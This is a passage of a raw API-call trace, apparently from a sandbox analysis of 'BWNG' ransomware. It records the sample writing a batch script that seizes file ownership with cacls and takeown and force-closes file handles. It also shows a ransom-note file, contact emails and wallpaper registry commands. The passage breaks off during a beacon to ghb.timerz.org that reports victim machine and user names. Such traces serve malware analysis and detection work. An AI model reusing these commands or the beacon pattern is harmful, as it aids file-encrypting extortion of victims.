out: lpWideCharStr="b\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="v\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="6\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="n\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="c\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="K\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="8\x18\x18ﬠ\x18\x01") returned 1 [0031.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="c\x18\x18ﬠ\x18\x01") returned 1 [0031.641] FindResourceW (hModule=0x400000, lpName="HN", lpType=0xa) returned 0x4f5440 [0031.641] LoadResource (hModule=0x400000, hResInfo=0x4f5440) returned 0x4f8c54 [0031.641] SizeofResource (hModule=0x400000, hResInfo=0x4f5440) returned 0x2d488 [0031.641] LockResource (hResData=0x4f8c54) returned 0x4f8c54 [0031.642] FreeResource (hResData=0x4f8c54) returned 0 [0031.642] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0031.642] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0031.642] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0031.642] LockResource (hResData=0x5260dc) returned 0x5260dc [0031.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb2358, cbMultiByte=38, lpWideCharStr=0x1e8e32c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0031.642] FreeResource (hResData=0x5260dc) returned 0 [0031.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0031.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb235c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.642] GetCurrentThreadId () returned 0x5b0 [0031.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.648] WriteFile (in: hFile=0x17c, lpBuffer=0x2771360*, nNumberOfBytesToWrite=0x2d488, lpNumberOfBytesWritten=0x18faec, lpOverlapped=0x0 | out: lpBuffer=0x2771360*, lpNumberOfBytesWritten=0x18faec*=0x2d488, lpOverlapped=0x0) returned 1 [0031.651] CloseHandle (hObject=0x17c) returned 1 [0031.653] GetTickCount () returned 0x1153489 [0031.653] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb00 | out: lpPerformanceCount=0x18fb00*=17360557988) returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="B\x18\x18ﬠ\x18\x01") returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="t\x18\x18ﬠ\x18\x01") returned 1 [0031.653] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="3\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="x\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="n\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="w\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="k\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fadc, cbMultiByte=1, lpWideCharStr=0x18eac4, cchWideChar=2047 | out: lpWideCharStr="o\x18\x18ﬠ\x18\x01") returned 1 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fdec, cbMultiByte=30, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C簁@\x18絮@\x18\x01") returned 30 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="takeown /F %1G %USERNAME%:F /C簁@\x18絮@\x18\x01") returned 13 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=14, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="set FN=\"%~nx1\" %USERNAME%:F /C簁@\x18絮@\x18\x01") returned 14 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="cd /d \"%~dp0\"\" %USERNAME%:F /C簁@\x18絮@\x18\x01") returned 13 [0031.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x25dc1cc, cbMultiByte=130, lpWideCharStr=0x18ea60, cchWideChar=2047 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`[HN] -accepteula %FN% -nobanner`) DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 130 [0031.654] CharUpperBuffW (in: lpsz="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`[HN] -accepteula %FN% -nobanner`) DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchLength=0xd2 | out: lpsz="CACLS %1 /E /G %USERNAME%:F /C\r\nTAKEOWN /F %1\r\nSET FN=\"%~NX1\"\r\nCD /D \"%~DP0\"\r\nFOR /F \"USEBACKQ TOKENS=3,6 DELIMS=: \" %%I IN (`[HN] -ACCEPTEULA %FN% -NOBANNER`) DO ([HN] -ACCEPTEULA -C %%J -Y -P %%I -NOBANNER)\r\n") returned 0xd2 [0031.654] CharUpperBuffW (in: lpsz="[HN]", cchLength=0x4 | out: lpsz="[HN]") returned 0x4 [0031.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 226 [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 226 [0031.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", cchWideChar=226, lpMultiByteStr=0x1dd3618, cbMultiByte=226, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cacls %1 /E /G %USERNAME%:F /C\r\ntakeown /F %1\r\nset FN=\"%~nx1\"\r\ncd /d \"%~dp0\"\r\nFOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n", lpUsedDefaultChar=0x0) returned 226 [0031.654] WriteFile (in: hFile=0x17c, lpBuffer=0x1dd3618*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18fa9c, lpOverlapped=0x0 | out: lpBuffer=0x1dd3618*, lpNumberOfBytesWritten=0x18fa9c*=0xe2, lpOverlapped=0x0) returned 1 [0031.656] CloseHandle (hObject=0x17c) returned 1 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetCurrentThreadId () returned 0x5b0 [0031.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0031.657] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat")) returned 0x20 [0031.657] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f9c0, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x25d4804 | out: lpThreadId=0x25d4804*=0xaec) returned 0x17c [0031.716] SetThreadPriority (hThread=0x17c, nPriority=0) returned 1 [0031.716] ResumeThread (hThread=0x17c) returned 0x1 [0031.716] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f71c, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0031.716] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.tts", lpFindFileData=0x18f974 | out: lpFindFileData=0x18f974*(dwFileAttributes=0xaec, ftCreationTime.dwLowDateTime=0x2, ftCreationTime.dwHighDateTime=0x407a44, ftLastAccessTime.dwLowDateTime=0x7efaf000, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x70bd58, nFileSizeHigh=0x17c, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x24, cFileName="\x03\x01\x08", cAlternateFileName="NNNNNNNNNǨ")) returned 0xffffffff [0031.717] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0031.717] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a87c, cbMultiByte=2, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="10ﲔ\x18DO ([HN] -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v TileWallpaper /t REG_SZ /d \"0\" /f\x18廠畄⌨ᮒ镌畂弱M\x18丆@籂@") returned 2 [0031.717] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263b054 | out: lpThreadId=0x263b054*=0x8cc) returned 0x178 [0031.717] SetThreadPriority (hThread=0x178, nPriority=0) returned 1 [0031.717] ResumeThread (hThread=0x178) returned 0x1 [0031.717] Sleep (dwMilliseconds=0x19) [0031.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263b6c4 | out: lpThreadId=0x263b6c4*=0x8ec) returned 0x188 [0031.780] SetThreadPriority (hThread=0x188, nPriority=0) returned 1 [0031.780] ResumeThread (hThread=0x188) returned 0x1 [0031.780] Sleep (dwMilliseconds=0x19) [0031.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263bd34 | out: lpThreadId=0x263bd34*=0x8ac) returned 0x18c [0031.868] SetThreadPriority (hThread=0x18c, nPriority=0) returned 1 [0031.868] ResumeThread (hThread=0x18c) returned 0x1 [0031.868] Sleep (dwMilliseconds=0x19) [0032.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263c3a4 | out: lpThreadId=0x263c3a4*=0x678) returned 0x194 [0032.007] SetThreadPriority (hThread=0x194, nPriority=0) returned 1 [0032.007] ResumeThread (hThread=0x194) returned 0x1 [0032.008] Sleep (dwMilliseconds=0x19) [0032.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263ca14 | out: lpThreadId=0x263ca14*=0xb6c) returned 0x19c [0032.166] SetThreadPriority (hThread=0x19c, nPriority=0) returned 1 [0032.166] ResumeThread (hThread=0x19c) returned 0x1 [0032.166] Sleep (dwMilliseconds=0x19) [0032.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263d084 | out: lpThreadId=0x263d084*=0x694) returned 0xe8 [0032.425] SetThreadPriority (hThread=0xe8, nPriority=0) returned 1 [0032.425] ResumeThread (hThread=0xe8) returned 0x1 [0032.425] Sleep (dwMilliseconds=0x19) [0032.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263d6f4 | out: lpThreadId=0x263d6f4*=0x7b8) returned 0xf4 [0032.597] SetThreadPriority (hThread=0xf4, nPriority=0) returned 1 [0032.597] ResumeThread (hThread=0xf4) returned 0x1 [0032.597] Sleep (dwMilliseconds=0x19) [0033.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70e00, dwCreationFlags=0x4, lpThreadId=0x263dd64 | out: lpThreadId=0x263dd64*=0x32c) returned 0x190 [0033.177] SetThreadPriority (hThread=0x190, nPriority=0) returned 1 [0033.177] ResumeThread (hThread=0x190) returned 0x1 [0033.177] Sleep (dwMilliseconds=0x19) [0033.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263e3d4 | out: lpThreadId=0x263e3d4*=0x91c) returned 0x1a4 [0033.310] SetThreadPriority (hThread=0x1a4, nPriority=0) returned 1 [0033.310] ResumeThread (hThread=0x1a4) returned 0x1 [0033.310] Sleep (dwMilliseconds=0x19) [0033.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263ea44 | out: lpThreadId=0x263ea44*=0xb84) returned 0x174 [0033.792] SetThreadPriority (hThread=0x174, nPriority=0) returned 1 [0033.792] ResumeThread (hThread=0x174) returned 0x1 [0033.792] Sleep (dwMilliseconds=0x19) [0033.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x263f0b4 | out: lpThreadId=0x263f0b4*=0xb88) returned 0x1b8 [0033.838] SetThreadPriority (hThread=0x1b8, nPriority=0) returned 1 [0033.838] ResumeThread (hThread=0x1b8) returned 0x1 [0033.838] Sleep (dwMilliseconds=0x19) [0033.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpWideCharStr=0x18eaec, cchWideChar=2047 | out: lpWideCharStr="billwong73@yahoo.com -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 20 [0033.868] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a954, cbMultiByte=4, lpWideCharStr=0x18eae8, cchWideChar=2047 | out: lpWideCharStr="BWNGllwong73@yahoo.com -accepteula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 4 [0033.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x1df5da4 | out: lpThreadId=0x1df5da4*=0x67c) returned 0x1c0 [0033.869] SetThreadPriority (hThread=0x1c0, nPriority=0) returned 1 [0033.869] ResumeThread (hThread=0x1c0) returned 0x1 [0033.869] Sleep (dwMilliseconds=0x19) [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="billwong73@yahoo.comeula -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 20 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e7fd5c, cbMultiByte=25, lpWideCharStr=0x18eaf8, cchWideChar=2047 | out: lpWideCharStr="billwong73@protonmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 25 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=18, lpWideCharStr=0x18eaf4, cchWideChar=2047 | out: lpWideCharStr="billwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 18 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6a984, cbMultiByte=5, lpWideCharStr=0x18eaf0, cchWideChar=2047 | out: lpWideCharStr="emptylwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 5 [0033.899] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1e6302c, cbMultiByte=15, lpWideCharStr=0x18ead0, cchWideChar=2047 | out: lpWideCharStr="!BWNG_INFO!.rtf\x18emptylwong73@aol.comnmail.coma -c %%J -y -p %%I -nobanner)G_SZ /d \"[WP]\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v WallpaperStyle /t REG_SZ /d \"0\" /f & reg add \"HKCU\\Control Panel\\Desktop\" /v Til眴빫睘\x18Ƥo") returned 15 [0033.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x407a44, lpParameter=0x1e70df0, dwCreationFlags=0x4, lpThreadId=0x264c534 | out: lpThreadId=0x264c534*=0xbe4) returned 0x1c8 [0033.900] SetThreadPriority (hThread=0x1c8, nPriority=0) returned 1 [0033.900] ResumeThread (hThread=0x1c8) returned 0x1 [0033.900] Sleep (dwMilliseconds=0x19) [0033.980] WaitForMultipleObjects (nCount=0xd, lpHandles=0x4ee250*=0x178, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xb50 [0024.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e62c6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0024.854] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1eaa9ac, cbMultiByte=20, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="Host: ghb.timerz.org") returned 20 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x1e6a024, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="80", lpUsedDefaultChar=0x0) returned 2 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e62d2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0024.857] getaddrinfo (in: pNodeName="ghb.timerz.org", pServiceName="80", pHints=0x228fb8c*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x228fbac | out: ppResult=0x228fbac*=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713260*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) returned 0 [0026.774] FreeAddrInfoW (pAddrInfo=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713260*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) [0026.774] getnameinfo (in: pSockaddr=0x228fc14*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), SockaddrLength=0x10, pNodeBuffer=0x1dc421c, NodeBufferSize=0x401, pServiceBuffer=0x1eb1ccc, ServiceBufferSize=0x20, Flags=10 | out: pNodeBuffer="47.245.34.40", pServiceBuffer="80") returned 0 [0027.091] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e62c2c, cbMultiByte=12, lpWideCharStr=0x228ec30, cchWideChar=2047 | out: lpWideCharStr="47.245.34.40") returned 12 [0027.091] htons (hostshort=0x5000) returned 0x50 [0027.091] socket (af=2, type=1, protocol=6) returned 0x168 [0027.091] connect (s=0x168, name=0x228fcd8*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=16) returned 0 [0027.457] getsockname (in: s=0x168, name=0x1e0de30, namelen=0x228fca4 | out: name=0x1e0de30*(sa_family=2, sin_port=0xc006, sin_addr="192.168.0.244"), namelen=0x228fca4) returned 0 [0027.457] getpeername (in: s=0x168, name=0x1e0de4c, namelen=0x228fca4 | out: name=0x1e0de4c*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=0x228fca4) returned 0 [0027.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=START HTTP/1.0\r\nHost: 